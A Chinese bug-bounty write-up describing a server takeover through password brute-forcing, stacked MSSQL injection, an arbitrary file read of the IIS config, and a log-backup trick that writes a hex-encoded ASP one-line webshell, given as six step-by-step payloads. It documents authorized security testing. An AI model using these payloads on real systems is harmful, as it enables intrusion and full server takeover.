众测5000赏金实战案例-Getshell

首先来到登录口

推荐大家一个工具(工具链接见文末)：

收集一切可用信息，比如域名、公司名称拼音、公司名称缩写、邮箱、JS里面找开发者名字等等，然后生成字典进行爆破。

这里我是用域名生成的社工字典，运气很好（艹），字典里面的第一个密码就进后台了

由于该项目只收高危，且只收权限类、数据类漏洞，因此直接跳过逻辑类漏洞的测试，直奔SQL注入

数据包如下

burp跑了一下payload，发现sord参数存在 mssql 的堆叠延时

上工具梭哈

这个后台多个接口，多个参数存在 mssql 的堆叠注入，由于比较简单，就不写了。

mssql getshell的方式多了，前两种是比较常用的，但是这里的sql注入没有回显，ping dns又没有反应（可能不出网），所以这里用到的是LOG备份写shell

既然要写shell，那肯定就需要知道绝对路径，怎么找？(直播说过)

这个后台还发现了两个任意文件读取漏洞，利用该漏洞读取IIS配置文件，得到了网站的绝对路径

IIS配置文件地址在：

C:/Windows/System32/inetsrv/config/applicationHost.config

踩坑

OK，知道了绝对路径，那就开始写shell

第一步：

sord=asc;create database dbtest11; --

第二步：

sord=asc;alter database dbtest11 set RECOVERY FULL; --

第三步：

sord=asc;create table dbtest11..tmd (a image); --

第四步：

sord=asc;backup database dbtest11 to disk = 'C:Device11.asp'; --

第五步：往表中插入一句话木马

insert into dbtest11..tmd (a) values (0x3C25657865637574652872657175657374282261222929253E);

第六步：进行LOG备份，将shell导出到网站根目录

sord=asc;backup log dbtest11 to disk = 'C:Device12.asp' with init; --

使用蚁剑连接

system权限

看了下arp列表证明了危害，不敢动，最后将webshell删除（一定要记得）。